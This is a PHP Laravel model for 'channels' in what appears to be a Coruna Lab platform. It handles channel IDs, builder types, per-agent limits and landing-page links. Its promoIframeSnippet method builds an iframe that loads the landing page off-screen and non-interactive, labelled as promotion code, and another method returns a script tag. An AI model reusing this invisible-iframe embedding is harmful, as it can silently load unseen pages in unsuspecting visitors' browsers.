296 lines
8.3 KiB
PHP
296 lines
8.3 KiB
PHP
<?php
|
|
|
|
namespace App\Models;
|
|
|
|
use Illuminate\Database\Eloquent\Model;
|
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
|
use RuntimeException;
|
|
|
|
class Channel extends Model
|
|
{
|
|
public const OFFICIAL_USER_ID = 0;
|
|
|
|
public const BUILDER_OLD = 'old';
|
|
|
|
public const BUILDER_NEW = 'new';
|
|
|
|
public const BUILDER_APP = 'app';
|
|
|
|
/** New-builder channel id / core ver·sdkv patch string: exactly 6 chars like 2.2.66 (alnum + dots). */
|
|
public const NEW_CHANNEL_ID_PATTERN = '/^[0-9A-Z]\.[0-9A-Z]\.[0-9A-Z]{2}$/';
|
|
|
|
/**
|
|
* Public-root path prefixes that must not be used as old 32-hex channel IDs.
|
|
*
|
|
* @var list<string>
|
|
*/
|
|
public const RESERVED_CHANNEL_NAMES = [
|
|
'admin', 'user', 'api', 'web', 'sync', 'details', 'weifile', 'hooks',
|
|
'link', 'statistic', 'vhx', 'event', 'log', 'storage', 'build', 'hot',
|
|
'vendor', 'css', 'js', 'up', 'index', 'assets', 'static', 'source', 'channel',
|
|
'out', 't', 'nb', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
|
|
'robots', 'sitemap', 'public', 'app', 'bootstrap', 'config',
|
|
'database', 'resources', 'routes', 'tests', 'artisan', 'livewire',
|
|
'sanctum', 'telescope', 'horizon', 'pulse',
|
|
];
|
|
|
|
protected $fillable = [
|
|
'channel_id', 'builder_type', 'user_id', 'domains', 'status', 'remark',
|
|
'app_name', 'bundle_id', 'h5_url',
|
|
];
|
|
|
|
protected $attributes = [
|
|
'builder_type' => self::BUILDER_OLD,
|
|
];
|
|
|
|
protected static function booted(): void
|
|
{
|
|
$bust = static function (Channel $channel): void {
|
|
$svc = app(\App\Services\FilterOptionsService::class);
|
|
$svc->forgetChannels();
|
|
$uids = array_unique(array_filter([
|
|
(int) $channel->user_id,
|
|
(int) $channel->getOriginal('user_id'),
|
|
]));
|
|
foreach ($uids as $uid) {
|
|
if ($uid > 0) {
|
|
$svc->forgetChannels($uid);
|
|
}
|
|
}
|
|
};
|
|
static::saved($bust);
|
|
static::deleted($bust);
|
|
}
|
|
|
|
protected function casts(): array
|
|
{
|
|
return [
|
|
'domains' => 'array',
|
|
'status' => 'integer',
|
|
'user_id' => 'integer',
|
|
];
|
|
}
|
|
|
|
public function user(): BelongsTo
|
|
{
|
|
return $this->belongsTo(User::class, 'user_id');
|
|
}
|
|
|
|
public function isEnabled(): bool
|
|
{
|
|
return (int) $this->status === 1;
|
|
}
|
|
|
|
public function isOfficial(): bool
|
|
{
|
|
return (int) $this->user_id === self::OFFICIAL_USER_ID;
|
|
}
|
|
|
|
public function isNewBuilder(): bool
|
|
{
|
|
return $this->builderType() === self::BUILDER_NEW;
|
|
}
|
|
|
|
public function isAppBuilder(): bool
|
|
{
|
|
return $this->builderType() === self::BUILDER_APP;
|
|
}
|
|
|
|
public function builderType(): string
|
|
{
|
|
$type = strtolower(trim((string) ($this->builder_type ?? '')));
|
|
|
|
if ($type === self::BUILDER_NEW) {
|
|
return self::BUILDER_NEW;
|
|
}
|
|
if ($type === self::BUILDER_APP) {
|
|
return self::BUILDER_APP;
|
|
}
|
|
|
|
return self::BUILDER_OLD;
|
|
}
|
|
|
|
public function agentLabel(): string
|
|
{
|
|
if ($this->isOfficial()) {
|
|
return '官方';
|
|
}
|
|
|
|
return $this->user?->username ?: ('#'.$this->user_id);
|
|
}
|
|
|
|
/**
|
|
* Domains for support-link display.
|
|
* Channel row wins; otherwise CORUNA_LAB_CHANNEL_DOMAINS (system settings).
|
|
*
|
|
* @return list<string>
|
|
*/
|
|
public function resolvedDomains(): array
|
|
{
|
|
$stored = $this->normalizeDomainList($this->domains);
|
|
if ($stored !== []) {
|
|
return $stored;
|
|
}
|
|
|
|
return $this->normalizeDomainList(config('coruna.channel_domains', []));
|
|
}
|
|
|
|
/**
|
|
* @param mixed $domains
|
|
* @return list<string>
|
|
*/
|
|
public static function normalizeDomainList(mixed $domains): array
|
|
{
|
|
if (! is_array($domains)) {
|
|
return [];
|
|
}
|
|
|
|
return array_values(array_unique(array_filter(array_map(static function ($d) {
|
|
if (! is_string($d)) {
|
|
return '';
|
|
}
|
|
$d = trim($d);
|
|
$d = preg_replace('#^https?://#i', '', $d) ?? $d;
|
|
|
|
return rtrim($d, '/');
|
|
}, $domains))));
|
|
}
|
|
|
|
public function landingPath(): string
|
|
{
|
|
if ($this->isNewBuilder()) {
|
|
return '/channel/'.$this->channel_id.'/weifile/weifile.html';
|
|
}
|
|
|
|
return '/web/'.$this->channel_id.'/support.html';
|
|
}
|
|
|
|
/**
|
|
* @return list<string>
|
|
*/
|
|
public function supportLinks(): array
|
|
{
|
|
$links = [];
|
|
$path = $this->landingPath();
|
|
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
|
foreach ($this->resolvedDomains() as $domain) {
|
|
$origin = rtrim($domain, '/');
|
|
if ($origin === '') {
|
|
continue;
|
|
}
|
|
if (! preg_match('#^https?://#i', $origin)) {
|
|
$origin = $scheme.'://'.$origin;
|
|
}
|
|
$links[] = $origin.$path;
|
|
}
|
|
|
|
return array_values(array_unique($links));
|
|
}
|
|
|
|
/**
|
|
* Hidden iframe snippet for embedding the landing URL (same as admin「复制推广代码」).
|
|
*/
|
|
public function promoIframeSnippet(?string $url = null): ?string
|
|
{
|
|
$url = trim((string) ($url ?? ($this->supportLinks()[0] ?? '')));
|
|
if ($url === '') {
|
|
$base = rtrim((string) config('app.url'), '/');
|
|
if ($base === '') {
|
|
return null;
|
|
}
|
|
$url = $base.$this->landingPath();
|
|
}
|
|
|
|
return '<iframe src="'.$url.'" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
|
|
}
|
|
|
|
public function promoScriptSnippet(): string
|
|
{
|
|
return '<script src="./index.js"></script>';
|
|
}
|
|
|
|
public function embedAssetDir(): ?string
|
|
{
|
|
$root = rtrim((string) config('coruna.channel_builder.artifact_root', public_path()), DIRECTORY_SEPARATOR);
|
|
$dir = match ($this->builderType()) {
|
|
self::BUILDER_NEW => $root.DIRECTORY_SEPARATOR.'channel'.DIRECTORY_SEPARATOR.$this->channel_id.DIRECTORY_SEPARATOR.'weifile',
|
|
self::BUILDER_OLD => $root.DIRECTORY_SEPARATOR.'web'.DIRECTORY_SEPARATOR.$this->channel_id,
|
|
default => null,
|
|
};
|
|
if ($dir === null || ! is_dir($dir)) {
|
|
return null;
|
|
}
|
|
|
|
return $dir;
|
|
}
|
|
|
|
public function embedZipName(): string
|
|
{
|
|
$safe = preg_replace('/[^0-9A-Za-z._-]+/', '-', (string) $this->channel_id) ?: 'channel';
|
|
|
|
return 'channel-embed-'.$safe.'.zip';
|
|
}
|
|
|
|
public static function randomChannelId(): string
|
|
{
|
|
return bin2hex(random_bytes(16));
|
|
}
|
|
|
|
/** UUID v4 channel id for app builder channels (e.g. a13b4f76-d901-46f5-b447-36b7e856ea31). */
|
|
public static function randomAppChannelId(): string
|
|
{
|
|
for ($i = 0; $i < 64; $i++) {
|
|
$uuid = \Illuminate\Support\Str::uuid()->toString();
|
|
if (! self::query()->where('channel_id', $uuid)->exists()) {
|
|
return $uuid;
|
|
}
|
|
}
|
|
|
|
throw new RuntimeException('无法生成唯一渠道 ID');
|
|
}
|
|
|
|
public static function normalizeNewChannelId(string $channelId): ?string
|
|
{
|
|
$channelId = strtoupper(trim($channelId));
|
|
if (! preg_match(self::NEW_CHANNEL_ID_PATTERN, $channelId)) {
|
|
return null;
|
|
}
|
|
|
|
return $channelId;
|
|
}
|
|
|
|
public static function randomNewChannelId(): string
|
|
{
|
|
$chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
|
|
$pick = static fn (): string => $chars[random_int(0, strlen($chars) - 1)];
|
|
|
|
for ($i = 0; $i < 64; $i++) {
|
|
$code = $pick().'.'.$pick().'.'.$pick().$pick();
|
|
if (self::query()->where('channel_id', $code)->exists()) {
|
|
continue;
|
|
}
|
|
|
|
return $code;
|
|
}
|
|
|
|
throw new RuntimeException('无法生成唯一渠道 ID');
|
|
}
|
|
|
|
public function channelPublicRelativeDir(): string
|
|
{
|
|
return 'channel/'.$this->channel_id;
|
|
}
|
|
|
|
public static function isReservedChannelName(string $name): bool
|
|
{
|
|
return in_array(strtolower($name), self::RESERVED_CHANNEL_NAMES, true);
|
|
}
|
|
|
|
public static function maxPerAgent(): int
|
|
{
|
|
$n = (int) config('coruna.channels.max_per_agent', 5);
|
|
|
|
return max(1, $n);
|
|
}
|
|
}
|